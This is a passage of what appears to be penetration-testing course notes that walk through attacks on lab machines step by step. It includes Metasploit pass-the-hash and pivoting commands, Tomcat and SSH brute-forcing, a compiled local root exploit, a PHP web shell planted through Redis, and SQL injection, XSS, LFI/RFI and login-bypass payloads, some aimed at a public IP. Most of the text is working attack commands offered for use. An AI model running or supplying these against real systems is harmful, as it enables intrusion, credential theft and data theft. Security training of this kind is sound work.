set payload windows/meterpreter/bind_tcp
1231
 
1232
set LPORT 2345
1233
 
1234
exploit
1235
 
1236
********************************** Get out of Meterpreter **********************************
1237
 
1238
meterpreter> background
1239
1240
msf exploit(psexec) >back
1241
1242
msf>
1243
1244
**********************************  
1245
 
1246
-- Option 2:
1247
use exploit/windows/smb/psexec
1248
 
1249
set SMBUser Administrator
1250
 
1251
set SMBPass 6e0b0669e734d66b310cc3b8f65453da:8a2b05f1b6111fe3d642bb43e1c0c363
1252
 
1253
set payload windows/meterpreter/bind_tcp
1254
 
1255
set RHOST 10.0.0.15                      
1256
 
1257
set LPORT 5678
1258
 
1259
exploit
1260
1261
1262
1263
********************************** Set up your Pivot **********************************
1264
 
1265
meterpreter > background
1266
                                                        <-- background the session
1267
        You want to get back to this prompt:
1268
        msf exploit(handler) > back                     <--- you need to get to main msf> prompt
1269
 
1270
 
1271
 
1272
        sessions -l                                     <--find a session you want to pivot through (note the IP and session number)
1273
       
1274
        Now set up Pivot with a route add
1275
        ---------------------------------
1276
 
1277
route print												<--- should be blank
1278
 
1279
route add 10.0.0.15 255.255.255.0 1                       <-- Use correct session id (2), it may be 3, or 4 (make sure you are on msf> prommpt, not meterpreter)
1280
 
1281
 
1282
route print                                             <----- verify new route
1283
 
1284
******************************Scan through your Pivot ******************************
1285
 
1286
use auxiliary/scanner/portscan/tcp                      <-- Run aux modules through your pivot
1287
 
1288
set THREADS 10
1289
 
1290
set RHOSTS 10.0.0.0/24             <-- Keep changing this IP and re-running the scan until you find something you want to attack
1291
 
1292
set PORTS 445
1293
 
1294
run
1295
1296
1297
####################################
1298
# Socks Tunneling with Proxychains #
1299
####################################
1300
--- Open a duplicate putty session to your Ubuntu host
1301
 
1302
sudo apt install -y proxychains
1303
    infosecaddicts
1304
 
1305
sudo vi /etc/proxychains.conf                           <--- Make sure that last line of the file is: socks4  127.0.0.1 1080
1306
     infosecaddicts
1307
 
1308
        Comment out the proxy_dns, change the 9050 (tor port) to the metasploit socks proxy port (1080) and save it.
1309
        socks4  127.0.0.1 1080
1310
 
1311
***************************Set up a Socks Proxy through your Pivot *************************
1312
 
1313
 
1314
use auxiliary/server/socks4a
1315
 
1316
set SRVHOST 127.0.0.1
1317
 
1318
set SRVPORT 1080
1319
 
1320
run
1321
 
1322
        --- Go back to your other putty session with the meterpreter shell
1323
cd ~
1324
 
1325
proxychains nmap -sT -PN -vv -sV --script=smb-os-discovery.nse -p 445 10.0.0.0/24          <--- This is going to be really slow
1326
 
1327
proxychains nmap -sT -PN -n -sV -p 21,22,23,25,80,110,139,443,1433,1521,3306,3389,8080,10000 10.0.0/24           <--- This is going to be really slow
1328
 
1329
 
1330
        ---close the duplicate putty session to your Ubuntu host
1331
1332
1333
1334
1335
1336
*************************** Day 3 Challenge *******************************
1337
1338
******** Attacking Kevgir ********
1339
I figured I've give you something fun to play with.
1340
1341
sudo nmap -sV -Pn 10.0.0.120
1342
     infosecaddicts
1343
1344
1345
1346
##############################
1347
# Using Nikto against Kevgir #
1348
##############################
1349
cd ~/toolz/nikto-2.1.1
1350
1351
perl nikto.pl -update
1352
1353
perl nikto.pl -h 10.0.0.120
1354
1355
perl nikto.pl -h 10.0.0.120:8080
1356
1357
perl nikto.pl -h 10.0.0.120:8081
1358
1359
perl nikto.pl -h 10.0.0.120:9000
1360
1361
1362
1363
1364
####################
1365
# Using Metasploit #
1366
####################
1367
cd ~/toolz/metasploit
1368
1369
./msfconsole
1370
1371
use auxiliary/scanner/http/http_version			
1372
1373
set RHOSTS 10.0.0.120
1374
1375
set RPORT 8080
1376
1377
run
1378
1379
1380
-------------------------------
1381
1382
use auxiliary/scanner/http/tomcat_enum			 
1383
1384
set RHOSTS 10.0.0.120
1385
1386
set RPORT 8080
1387
1388
run
1389
1390
1391
1392
1393
1394
####################
1395
# Attacking Tomcat #
1396
####################
1397
cd ~/toolz/metasploit
1398
1399
./msfconsole
1400
1401
use auxiliary/scanner/http/http_version			
1402
1403
set RHOSTS 10.0.0.120
1404
1405
set RPORT 8080
1406
1407
run
1408
1409
1410
1411
1412
1413
use auxiliary/scanner/http/tomcat_mgr_login			 
1414
1415
set USERNAME tomcat
1416
1417
set USERPASS_FILE /home/infosecaddicts/list.txt
1418
1419
set STOP_ON_SUCCESS true
1420
1421
set RHOSTS 10.0.0.120
1422
1423
set RPORT 8080
1424
1425
run
1426
1427
1428
1429
1430
use exploit/multi/http/tomcat_mgr_upload
1431
1432
set USERNAME tomcat
1433
1434
set PASSWORD tomcat
1435
1436
set RHOST 10.0.0.120
1437
1438
set RPORT 8080
1439
1440
set PATH /manager/html
1441
1442
set PAYLOAD java/meterpreter/bind_tcp
1443
1444
exploit 
1445
1446
1447
run post/linux/gather/checkvm
1448
1449
run post/linux/gather/enum_configs
1450
1451
run post/linux/gather/enum_protections
1452
1453
run post/linux/gather/enum_system
1454
1455
run post/linux/gather/enum_users_history
1456
1457
run post/linux/gather/hashdump
1458
1459
shell
1460
1461
/bin/bash
1462
1463
id
1464
1465
uname -a
1466
1467
dpkg -l
1468
1469
cd /tmp
1470
1471
pwd
1472
1473
1474
cat >> exploit.c << out
1475
1476
**************paste in the content from here *****************
1477
https://raw.githubusercontent.com/offensive-security/exploit-database/master/platforms/linux/local/39166.c
1478
1479
1480
------ hit enter a few times ------
1481
1482
------ then type 'out' ----- this closes the file handle...
1483
1484
1485
gcc -o boom exploit.c
1486
1487
./boom
1488
1489
id
1490
1491
1492
-------------------------------
1493
1494
1495
hydra -l tomcat -P /home/infosecaddicts/list.txt -e ns -s 8080 -vV 10.0.0.140 http-get /manager/html
1496
1497
1498
1499
1500
1501
#################
1502
# Attacking FTP #
1503
#################
1504
1505
sudo nmap -sV -Pn -p25 --script=banner,ftp-anon,ftp-bounce,ftp-proftpd-backdoor,ftp-vsftpd-backdoor 10.0.0.120
1506
     infosecaddicts
1507
1508
cd ~/toolz/hydra
1509
1510
hydra -l admin -P /home/infosecaddicts/list.txt -u -s 25 10.0.0.120 ftp
1511
1512
ftp
1513
open 10.0.0.120
1514
admin
1515
admin
1516
pwd
1517
ls -lah
1518
1519
ls ../../
1520
1521
1522
#################
1523
# Attacking SSH #
1524
#################
1525
cd ~/toolz/hydra
1526
1527
hydra -L /home/infosecaddicts/list.txt -P /home/infosecaddicts/list.txt -u -s 1322 10.0.0.120 ssh
1528
1529
ssh -p 1322 admin@10.0.0.120
1530
1531
1532
1533
1534
cd ~/toolz/metasploit
1535
1536
./msfconsole
1537
1538
use auxiliary/scanner/ssh/ssh_users			 
1539
1540
set USER_FILE /home/infosecaddicts/list.txt
1541
1542
set STOP_ON_SUCCESS true
1543
1544
set RHOSTS 10.0.0.120
1545
1546
set RPORT 1322
1547
1548
run
1549
1550
1551
1552
1553
1554
use auxiliary/scanner/ssh/ssh_login			 
1555
1556
set USER_FILE /home/infosecaddicts/list.txt
1557
1558
set PASS_FILE /home/infosecaddicts/list.txt
1559
1560
set STOP_ON_SUCCESS true
1561
1562
set RHOSTS 10.0.0.120
1563
1564
set RPORT 1322
1565
1566
run
1567
1568
1569
sessions -l
1570
1571
sessions -u 1
1572
1573
sessions -i 1
1574
1575
id
1576
1577
1578
1579
1580
#################
1581
# Attacking NFS #
1582
#################
1583
rpcinfo -s 10.0.0.120
1584
1585
showmount -e 10.0.0.120
1586
1587
mount -t nfs 10.0.0.120:/backup /tmp/nfs -o nolock
1588
1589
ls /tmp/nfs
1590
1591
cp /tmp/nfs/backup.tar.bz2.zip /home/infosecaddicts
1592
umount -l /tmp/nfs
1593
1594
sudo apt-cache search fcrackzip
1595
     infosecaddicts
1596
1597
sudo apt install -y fcrackzip
1598
     infosecaddicts
1599
1600
fcrackzip -D -p /home/infosecaddicts/list.txt
1601
1602
unzip -P aaaaaa backup.tar.bz2.zip
1603
1604
tar -zxvf backup.tar.bz2
1605
1606
 
1607
###################
1608
# Attacking Redis #
1609
###################
1610
sudo nmap -p 6379 --script=redis-info 10.0.0.120
1611
	infosecaddicts
1612
1613
sudo apt install -y redis-tools
1614
	infosecaddicts
1615
1616
redis-cli -h 10.0.0.120
1617
1618
CONFIG SET dir /var/www/html/main
1619
1620
CONFIG GET dir
1621
1622
config set dbfilename bomba.php
1623
1624
CONFIG GET dbfilename
1625
1626
SET cmd "<?php system($_GET['joe']); ?>"
1627
1628
BGSAVE
1629
1630
http://10.0.0.120/bomba.php
1631
1632
http://10.0.0.120/bomba.php?joe=id
1633
1634
1635
(echo -e "\n\n"; cat id_rsa.pub; echo -e "\n\n") > foo.txt/.ssh"
1636
1637
1638
1639
1640
1641
##########
1642
# Day 4: #
1643
##########
1644
1645
1646
http://10.0.0.9/login.aspx
1647
1648
I entered a single quote (') for both the user name and the password. I got the following error:
1649
1650
-----------------------------------------------------------------
1651
 'Users//User[@Name=''' and @Password=''']' has an invalid token.
1652
Description: An unhandled exception occurred during the execution of the current web request. Please review the stack trace for more information about the error and where it originated in the code.
1653
1654
Exception Details: System.Xml.XPath.XPathException: 'Users//User[@Name=''' and @Password=''']' has an invalid token.
1655
1656
Source Error:
1657
1658
1659
Line 112:            doc.Load(Server.MapPath("") + @"\AuthInfo.xml");
1660
Line 113:            string credential = "Users//User[@Name='" + UserName + "' and @Password='" + Password + "']";
1661
Line 114:            XmlNodeList xmln = doc.SelectNodes(credential);
1662
Line 115:            //String test = xmln.ToString();            
1663
Line 116:            if (xmln.Count > 0)
1664
1665
-----------------------------------------------------------------
1666
1667
1668
Hmm....System.Xml.XPath.XPathException.....that's not SQL.
1669
1670
WTF is this:
1671
Line 112:            doc.Load(Server.MapPath("") + @"\AuthInfo.xml");
1672
1673
1674
Let's check it out:
1675
http://10.0.0.9/AuthInfo.xml
1676
1677
Looks like we found passwords!!!!!!!!!!
1678
1679
1680
Looks like there no significant new functionality after logging in with the stolen credentials.
1681
1682
Going back to the homepage...let's see if we can see anything. Figured I'd click on one of the links
1683
1684
1685
http://10.0.0.9/bookdetail.aspx?id=2
1686
1687
1688
Ok, there is parameter passing (bookdetail.aspx?id=2).
1689
1690
The page name is:		bookdetail.aspx
1691
The parameter name is:		id
1692
The paramber value is:		2
1693
1694
1695
Let's try throwing a single quote (') in there:
1696
1697
http://10.0.0.9/bookdetail.aspx?id=2'
1698
1699
1700
I get the following error:
1701
1702
Unclosed quotation mark after the character string ''.
1703
Description: An unhandled exception occurred during the execution of the current web request. Please review the stack trace for more information about the error and where it originated in the code.
1704
1705
Exception Details: System.Data.SqlClient.SqlException: Unclosed quotation mark after the character string ''.
1706
1707
1708
1709
#############################################################################
1710
# SQL Injection                                                             #
1711
# https://s3.amazonaws.com/infosecaddicts-Files/1-Intro_To_SQL_Intection.pptx #
1712
#############################################################################
1713
1714
1715
- Another quick way to test for SQLI is to remove the paramter value
1716
1717
 
1718
#############################
1719
# Error-Based SQL Injection #
1720
#############################
1721
http://10.0.0.9/bookdetail.aspx?id=2 or 1 in (SELECT DB_NAME(0))--
1722
http://10.0.0.9/bookdetail.aspx?id=2 or 1 in (SELECT DB_NAME(1))--
1723
http://10.0.0.9/bookdetail.aspx?id=2 or 1 in (SELECT DB_NAME(2))--
1724
http://10.0.0.9/bookdetail.aspx?id=2 or 1 in (SELECT DB_NAME(3))--
1725
http://10.0.0.9/bookdetail.aspx?id=2 or 1 in (SELECT DB_NAME(4))--
1726
http://10.0.0.9/bookdetail.aspx?id=2 or 1 in (SELECT DB_NAME(N))-- 	
1727
	**** NOTE: "N" - just means to keep going until you run out of databases ****
1728
1729
http://10.0.0.9/bookdetail.aspx?id=2 or 1 in (select top 1 name from sysobjects where xtype=char(85))--
1730
http://10.0.0.9/bookdetail.aspx?id=2 or 1 in (select top 1 name from sysobjects where xtype=char(85) and name>'bookmaster')--
1731
http://10.0.0.9/bookdetail.aspx?id=2 or 1 in (select top 1 name from sysobjects where xtype=char(85) and name>'sysdiagrams')--
1732
1733
1734
1735
1736
#############################
1737
# Union-Based SQL Injection #
1738
#############################
1739
http://10.0.0.9/bookdetail.aspx?id=2 order by 100--
1740
http://10.0.0.9/bookdetail.aspx?id=2 order by 50--
1741
http://10.0.0.9/bookdetail.aspx?id=2 order by 25--
1742
http://10.0.0.9/bookdetail.aspx?id=2 order by 10--
1743
http://10.0.0.9/bookdetail.aspx?id=2 order by 5--
1744
http://10.0.0.9/bookdetail.aspx?id=2 order by 6--
1745
http://10.0.0.9/bookdetail.aspx?id=2 order by 7--
1746
http://10.0.0.9/bookdetail.aspx?id=2 order by 8--
1747
http://10.0.0.9/bookdetail.aspx?id=2 order by 9--
1748
http://10.0.0.9/bookdetail.aspx?id=2 union all select 1,2,3,4,5,6,7,8,9--
1749
1750
	We are using a union select statement because we are joining the developer's query with one of our own.
1751
	Reference: 
1752
	http://www.techonthenet.com/sql/union.php
1753
	The SQL UNION operator is used to combine the result sets of 2 or more SELECT statements. 
1754
	It removes duplicate rows between the various SELECT statements.
1755
1756
	Each SELECT statement within the UNION must have the same number of fields in the result sets with similar data types.
1757
1758
http://10.0.0.9/bookdetail.aspx?id=-2 union all select 1,2,3,4,5,6,7,8,9--
1759
1760
	Negating the paramter value (changing the id=2 to id=-2) will force the pages that will echo back data to be displayed.
1761
1762
http://10.0.0.9/bookdetail.aspx?id=-2 union all select 1,user,@@version,4,5,6,7,8,9--
1763
http://10.0.0.9/bookdetail.aspx?id=-2 union all select 1,user,@@version,@@servername,5,6,7,8,9--
1764
http://10.0.0.9/bookdetail.aspx?id=-2 union all select 1,user,@@version,@@servername,5,6,db_name(0),8,9--
1765
http://10.0.0.9/bookdetail.aspx?id=-2 union all select 1,user,@@version,@@servername,5,6,master.sys.fn_varbintohexstr(password_hash),8,9 from master.sys.sql_logins--
1766
1767
1768
1769
1770
1771
- Another way is to see if you can get the backend to perform an arithmetic function
1772
http://10.0.0.9/bookdetail.aspx?id=(2)	
1773
http://10.0.0.9/bookdetail.aspx?id=(4-2)	
1774
http://10.0.0.9/bookdetail.aspx?id=(4-1)
1775
1776
1777
1778
http://10.0.0.9/bookdetail.aspx?id=2 or 1=1-- 
1779
http://10.0.0.9/bookdetail.aspx?id=2 or 1=2-- 
1780
http://10.0.0.9/bookdetail.aspx?id=1*1 
1781
http://10.0.0.9/bookdetail.aspx?id=2 or 1 >-1# 
1782
http://10.0.0.9/bookdetail.aspx?id=2 or 1<99# 
1783
http://10.0.0.9/bookdetail.aspx?id=2 or 1<>1# 
1784
http://10.0.0.9/bookdetail.aspx?id=2 or 2 != 3-- 
1785
http://10.0.0.9/bookdetail.aspx?id=2 &0#
1786
1787
1788
1789
1790
1791
###############################
1792
# Blind SQL Injection Testing #
1793
###############################
1794
Time-Based BLIND SQL INJECTION - EXTRACT DATABASE USER
1795
  	 
1796
3 - Total Characters
1797
http://10.0.0.9/bookdetail.aspx?id=2; IF (LEN(USER)=1) WAITFOR DELAY '00:00:10'--
1798
http://10.0.0.9/bookdetail.aspx?id=2; IF (LEN(USER)=2) WAITFOR DELAY '00:00:10'--
1799
http://10.0.0.9/bookdetail.aspx?id=2; IF (LEN(USER)=3) WAITFOR DELAY '00:00:10'-- 		(Ok, the username is 3 chars long - it waited 10 seconds)
1800
1801
Let's go for a quick check to see if it's DBO
1802
http://10.0.0.9/bookdetail.aspx?id=2; IF ((USER)='dbo') WAITFOR DELAY '00:00:10'--
1803
1804
Yup, it waited 10 seconds so we know the username is 'dbo' - let's give you the syntax to verify it just for fun.
1805
1806
D  - 1st Character
1807
http://10.0.0.9/bookdetail.aspx?id=2; IF (ASCII(lower(substring((USER),1,1)))=97) WAITFOR DELAY '00:00:10'-- 	
1808
http://10.0.0.9/bookdetail.aspx?id=2; IF (ASCII(lower(substring((USER),1,1)))=98) WAITFOR DELAY '00:00:10'--
1809
http://10.0.0.9/bookdetail.aspx?id=2; IF (ASCII(lower(substring((USER),1,1)))=99) WAITFOR DELAY '00:00:10'--
1810
http://10.0.0.9/bookdetail.aspx?id=2; IF (ASCII(lower(substring((USER),1,1)))=100) WAITFOR DELAY '00:00:10'-- 	(Ok, first letter is a 100 which is the letter 'd' - it waited 10 seconds)
1811
 
1812
B - 2nd Character
1813
http://10.0.0.9/bookdetail.aspx?id=2; IF (ASCII(lower(substring((USER),2,1)))>97) WAITFOR DELAY '00:00:10'--  	Ok, good it waited for 10 seconds
1814
http://10.0.0.9/bookdetail.aspx?id=2; IF (ASCII(lower(substring((USER),2,1)))=98) WAITFOR DELAY '00:00:10'--  	Ok, good it waited for 10 seconds
1815
 
1816
O - 3rd Character
1817
http://10.0.0.9/bookdetail.aspx?id=2; IF (ASCII(lower(substring((USER),3,1)))>97) WAITFOR DELAY '00:00:10'--  	Ok, good it waited for 10 seconds
1818
http://10.0.0.9/bookdetail.aspx?id=2; IF (ASCII(lower(substring((USER),3,1)))>115) WAITFOR DELAY '00:00:10'--
1819
http://10.0.0.9/bookdetail.aspx?id=2; IF (ASCII(lower(substring((USER),3,1)))>105) WAITFOR DELAY '00:00:10'--  	Ok, good it waited for 10 seconds
1820
http://10.0.0.9/bookdetail.aspx?id=2; IF (ASCII(lower(substring((USER),3,1)))>110) WAITFOR DELAY '00:00:10'--  	Ok, good it waited for 10 seconds
1821
http://10.0.0.9/bookdetail.aspx?id=2; IF (ASCII(lower(substring((USER),3,1)))=109) WAITFOR DELAY '00:00:10'--
1822
http://10.0.0.9/bookdetail.aspx?id=2; IF (ASCII(lower(substring((USER),3,1)))=110) WAITFOR DELAY '00:00:10'--  	
1823
http://10.0.0.9/bookdetail.aspx?id=2; IF (ASCII(lower(substring((USER),3,1)))=111) WAITFOR DELAY '00:00:10'--  	Ok, good it waited for 10 seconds
1824
1825
1826
1827
##########
1828
# Sqlmap #
1829
##########
1830
If you want to see how we automate all of the SQL Injection attacks you can log into your infosecaddicts-Ubuntu-VM and run the following commands:
1831
1832
cd /home/infosecaddicts/toolz/sqlmap-dev/
1833
python sqlmap.py -u "http://10.0.0.9/bookdetail.aspx?id=2" -b
1834
python sqlmap.py -u "http://10.0.0.9/bookdetail.aspx?id=2" --current-user
1835
python sqlmap.py -u "http://10.0.0.9/bookdetail.aspx?id=2" --current-db 
1836
python sqlmap.py -u "http://10.0.0.9/bookdetail.aspx?id=2" --dbs 
1837
python sqlmap.py -u "http://10.0.0.9/bookdetail.aspx?id=2" -D BookApp --tables 
1838
python sqlmap.py -u "http://10.0.0.9/bookdetail.aspx?id=2" -D BookApp -T BOOKMASTER --columns 
1839
python sqlmap.py -u "http://10.0.0.9/bookdetail.aspx?id=2" -D BookApp -T sysdiagrams --columns 
1840
python sqlmap.py -u "http://10.0.0.9/bookdetail.aspx?id=2" -D BookApp -T BOOKMASTER --columns --dump 
1841
python sqlmap.py -u "http://10.0.0.9/bookdetail.aspx?id=2" -D BookApp -T sysdiagrams --columns --dump 
1842
python sqlmap.py -u "http://10.0.0.9/bookdetail.aspx?id=2" --users --passwords 
1843
1844
1845
1846
1847
1848
1849
Ok, now let's have some real fun!
1850
1851
Go to the address below in firefox:
1852
http://10.0.0.9/bookdetail.aspx?id=2;exec+master..xp_cmdshell+'ping -n 8 127.0.0.1'--
1853
1854
1855
1856
#######################
1857
# Attacking PHP/MySQL #
1858
#######################
1859
 
1860
Go to LAMP Target homepage
1861
http://54.172.112.249/
1862
 
1863
 
1864
 
1865
Clicking on the Acer Link:
1866
http://54.172.112.249/acre2.php?lap=acer
1867
 
1868
    - Found parameter passing (answer yes to question 1)
1869
    - Insert ' to test for SQLI
1870
 
1871
http://54.172.112.249/acre2.php?lap=acer'
1872
 
1873
 
1874
Page returns the following error:
1875
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''acer''' at line 1
1876
 
1877
 
1878
 
1879
In order to perform union-based sql injection - we must first determine the number of columns in this query.
1880
We do this using the ORDER BY
1881
http://54.172.112.249/acre2.php?lap=acer' order by 100-- +
1882
 
1883
Page returns the following error:
1884
Unknown column '100' in 'order clause'
1885
 
1886
 
1887
 
1888
http://54.172.112.249/acre2.php?lap=acer' order by 50-- +
1889
 
1890
Page returns the following error:
1891
Unknown column '50' in 'order clause'
1892
 
1893
 
1894
 
1895
http://54.172.112.249/acre2.php?lap=acer' order by 25-- +
1896
Page returns the following error:
1897
Unknown column '25' in 'order clause'
1898
 
1899
 
1900
 
1901
http://54.172.112.249/acre2.php?lap=acer' order by 12-- +
1902
 
1903
Page returns the following error:
1904
Unknown column '50' in 'order clause'
1905
 
1906
 
1907
 
1908
http://54.172.112.249/acre2.php?lap=acer' order by 6-- +
1909
---Valid page returned for 5 and 6...error on 7 so we know there are 6 columns
1910
 
1911
 
1912
 
1913
Now we build out the union all select statement with the correct number of columns
1914
 
1915
Reference:
1916
http://www.techonthenet.com/sql/union.php
1917
 
1918
 
1919
 
1920
http://54.172.112.249/acre2.php?lap=acer' union all select 1,2,3,4,5,6-- +
1921
 
1922
 
1923
 
1924
Now we negate the parameter value 'acer' by turning into the word 'null':
1925
http://54.172.112.249/acre2.php?lap=null' union all select 1,2,3,4,5,6-- j
1926
 
1927
We see that a 4 and a 5 are on the screen. These are the columns that will echo back data
1928
 
1929
 
1930
Use a cheat sheet for syntax:
1931
http://pentestmonkey.net/cheat-sheet/sql-injection/mysql-sql-injection-cheat-sheet
1932
 
1933
 
1934
http://54.172.112.249/acre2.php?lap=null' union all select 1,2,3,user(),5,6-- j
1935
 
1936
http://54.172.112.249/acre2.php?lap=null' union all select 1,2,3,user(),version(),6-- j
1937
 
1938
http://54.172.112.249/acre2.php?lap=null' union all select 1,2,3,user(),@@version,6-- +
1939
 
1940
http://54.172.112.249/acre2.php?lap=null' union all select 1,2,3,user(),@@datadir,6-- +
1941
 
1942
 
1943
http://54.172.112.249/acre2.php?lap=null' union all select 1,2,3,user,password,6 from mysql.user -- a
1944
 
1945
 
1946
 
1947
 
1948
Here we see parameter passing, but this one is actually a yes to question number 3 (reference a file)
1949
http://54.172.112.249/showfile.php?filename=about.txt
1950
 
1951
 
1952
 
1953
See if you can read files on the file system:
1954
http://54.172.112.249/showfile.php?filename=/etc/passwd
1955
 
1956
We call this attack a Local File Include or LFI.
1957
 
1958
Now let's find some text out on the internet somewhere:
1959
http://www.opensource.apple.com/source/SpamAssassin/SpamAssassin-127.2/SpamAssassin/t/data/etc/hello.txt
1960
 
1961
 
1962
Now let's append that URL to our LFI and instead of it being Local - it is now a Remote File Include or RFI:
1963
http://54.172.112.249/showfile.php?filename=http://www.opensource.apple.com/source/SpamAssassin/SpamAssassin-127.2/SpamAssassin/t/data/etc/hello.txt
1964
 
1965
 
1966
-----------------Some Automated Testing from the infosecaddicts VM-----------------
1967
 
1968
##################################################
1969
# You can download the virtual machine from here #
1970
##################################################
1971
https://s3.amazonaws.com/infosecaddicts-VMs/infosecaddictsUbuntu-v3.zip
1972
user: infosecaddicts
1973
pass: infosecaddicts
1974
 
1975
 
1976
 
1977
cd /home/infosecaddicts/toolz/sqlmap-dev/
1978
 
1979
python sqlmap.py -u "http://54.172.112.249/acre2.php?lap=acer" -b -v 3
1980
 
1981
 
1982
python sqlmap.py -u "http://54.172.112.249/acre2.php?lap=acer" --current-user -v 3
1983
 
1984
 
1985
python sqlmap.py -u "http://54.172.112.249/acre2.php?lap=acer" --current-db -v 3
1986
 
1987
 
1988
python sqlmap.py -u "http://54.172.112.249/acre2.php?lap=acer" --privileges -v 3
1989
 
1990
 
1991
python sqlmap.py -u "http://54.172.112.249/acre2.php?lap=acer" --dbs -v 3
1992
 
1993
 
1994
python sqlmap.py -u "http://54.172.112.249/acre2.php?lap=acer" --tables -v 3
1995
 
1996
 
1997
python sqlmap.py -u "http://54.172.112.249/acre2.php?lap=acer" --file-read=/etc/issue -v 3
1998
 
1999
 
2000
python sqlmap.py -u "http://54.172.112.249/acre2.php?lap=acer" --file-read=/etc/passwd -v 3
2001
 
2002
 
2003
2004
2005
2006
2007
2008
#########################################
2009
# Let's kick it up a notch with ASP.NET #
2010
# http://10.0.0.121/                    #
2011
#########################################
2012
 
2013
 
2014
The trading Web App is on http://10.0.0.121/
2015
 
2016
 
2017
Try the following in the search box:
2018
    <script>alert(123);</script>
2019
    ' or 1=1
2020
    ' and a=a
2021
    1=1
2022
    Joe'+OR+1=1;--
2023
 
2024
 
2025
    <script>alert(123);</script>
2026
   
2027
Open a new tab in firefox and try this:
2028
    http://10.0.0.121/Searchresult.aspx?<script>alert(123);</script>=ScriptName
2029
 
2030
 
2031
Try the contact us form.
2032
Open a new tab in firefox and try this:
2033
    http://10.0.0.121/OpenPage.aspx?filename=../../../../../../windows/win.ini
2034
 
2035
Try this on the inquiry form:
2036
    Joe McCray
2037
    1234567890
2038
    joe@strategicsec.com') waitfor delay '00:00:10'--
2039
 
2040
 
2041
Login Box:
2042
 
2043
    ' or 1=1 or ''='
2044
    anything            (click login instead of pressing enter)
2045
 
2046
 
2047
 
2048
Tamper Data: (notice 2 session IDs)
2049
 
2050
    AcmeTrading=a4b796687b846dd4a34931d708c62b49;       SessionID is md5
2051
    IsAdmin=yes;
2052
    ASP.NET_SessionId=d10dlsvaq5uj1g550sotcg45
2053
 
2054
 
2055
 
2056
Profile - Detail    (tamper data)
2057
    Disposition: form-data; name="ctl00$contentMiddle$HiddenField1"\r\n\r\njoe\r\n
2058
    joe|set
2059
 
2060
 
2061
    xss_upload.txt (Upload Bulk Order)
2062
    <script>alert(123);</script>
2063
2064
2065
2066
############################
2067
# Trading Web App with WAF #
2068
# http://10.0.0.94    #
2069
############################
2070
 
2071
 
2072
Try the following in the search box:
2073
    <script>alert(123);</script>
2074
    <script>alert(123);</script
2075
    <script>alert(123)
2076
    <script>alert
2077
    <script>
2078
    <script
2079
    <scrip
2080
    <scri
2081
    <scr
2082
    <sc
2083
    <s
2084
    <p
2085
    <
2086
    < s
2087
    Joe'+OR+1=1;--
2088
 
2089
   
2090
Open a new tab in firefox and try this:
2091
    http://10.0.0.94/Searchresult.aspx?%u003cscript>prompt(123)%u003c/script>=ScriptName
2092
 
2093
 
2094
    xss_upload.txt (Upload Bulk Order)
2095
    <script>alert(123);</script>
2096
 
2097
 
2098
Login Box:
2099
 
2100
    ' or 1=1 or ''='
2101
    anything
2102
 
2103
 
2104
 
2105
Tamper Data: (notice 2 session IDs)
2106
 
2107
    AcmeTrading=a4b796687b846dd4a34931d708c62b49;       SessionID is md5
2108
    IsAdmin=yes;
2109
    ASP.NET_SessionId=d10dlsvaq5uj1g550sotcg45
2110
 
2111
 
2112
 
2113
Profile - Detail    (tamper data)
2114
    Disposition: form-data; name="ctl00$contentMiddle$HiddenField1"\r\n\r\njoe\r\n
2115
    joe|set
2116
 
2117
 
2118
 
2119
 
2120
 
2121
 
2122
 
2123
###########################################################
2124
# Attacking an Oracle/JSP based WebApp with SQL Injection #
2125
###########################################################
2126
 
2127
 
2128
 
2129
 
2130
 
2131
http://10.0.0.23:8081/bookcompany/
2132
 
2133
 
2134
user:   a' OR 'a'='a
2135
pass:   a' OR 'a'='a
2136
 
2137
 
2138
 
2139
 
2140
 
2141
 
2142
 
2143
http://10.0.0.23:8081/bookcompany/author.jsp?id=111
2144
 
2145
 
2146
[ Search by Username ]  Joe' OR 'a'='a
2147
 
2148
 
2149
 
2150
 
2151
 
2152
 
2153
 
2154
 
2155
 
2156
 
2157
 
2158
 
2159
http://10.0.0.23:8081/bookcompany/faq.jsp?id=111&qid=1
2160
 
2161
 
2162
 
2163
http://10.0.0.23:8081/bookcompany/faq.jsp?id=111&qid=1' OR '1'='1
2164
 
2165
 
2166
 
2167
 
2168
 
2169
 
2170
 
2171
 
2172
 
2173
 
2174
 
2175
http://10.0.0.23:8081/bookcompany/faq.jsp?id=111&qid=1' or 1=utl_inaddr.get_host_address((select banner from v$version where rownum=1))--
2176
 
2177
 
2178
Host is running:
2179
 
2180
 
2181
 
2182
 
2183
 
2184
http://10.0.0.23:8081/bookcompany/faq.jsp?id=111&qid=1' or 1=utl_inaddr.get_host_address((SELECT user FROM dual))--
2185
 
2186
User is:
2187
 
2188
 
2189
 
2190
 
2191
 
2192
http://10.0.0.23:8081/bookcompany/faq.jsp?id=111&qid=1' or 1=utl_inaddr.get_host_address((SELECT global_name FROM global_name))--
2193
 
2194
Current database is:
2195
2196
2197
cd /home/infosecaddicts/toolz/sqlmap-dev/
2198
python sqlmap.py -u "http://10.0.0.23:8081/bookcompany/faq.jsp?id=111&qid=1" -b
2199
python sqlmap.py -u "http://10.0.0.23:8081/bookcompany/faq.jsp?id=111&qid=1" --current-user
2200
python sqlmap.py -u "http://10.0.0.23:8081/bookcompany/faq.jsp?id=111&qid=1" --current-db
2201
python sqlmap.py -u "http://10.0.0.23:8081/bookcompany/faq.jsp?id=111&qid=1" --dbs
2202
python sqlmap.py -u "http://10.0.0.23:8081/bookcompany/faq.jsp?id=111&qid=1" --users --passwords
2203
	Y
2204
	1
2205
2206
2207
2208
###############################################################
2209
# Question 1: What is the process that you use when you test? #
2210
###############################################################
2211
 
2212
Step 1: Automated Testing
2213
 
2214
Step 1a: Web Application vulnerability scanners
2215
-----------------------------------------------
2216
- Run two (2) unauthenticated vulnerability scans against the target
2217
- Run two (2) authenticated vulnerability scans against the target with low-level user credentials
2218
- Run two (2) authenticated vulnerability scans against the target with admin privileges
2219
 
2220
The web application vulnerability scanners that I use for this process are (HP Web Inspect, and Acunetix).
2221
 
2222
A good web application vulnerability scanner comparison website is here:
2223
http://sectoolmarket.com/price-and-feature-comparison-of-web-application-scanners-unified-list.html
2224
 
2225
 
2226
Look to see if there are cases where both scanners identify the same vulnerability. Investigate these cases thoroughly, ensure that it is NOT a false positive, and report the issue.
2227
 
2228
When you run into cases where one (1) scanner identifies a vulnerability that the other scanner does not you should still investigate these cases thoroughly, ensure that it is NOT a false positive, and report the issue.
2229
 
2230
 
2231
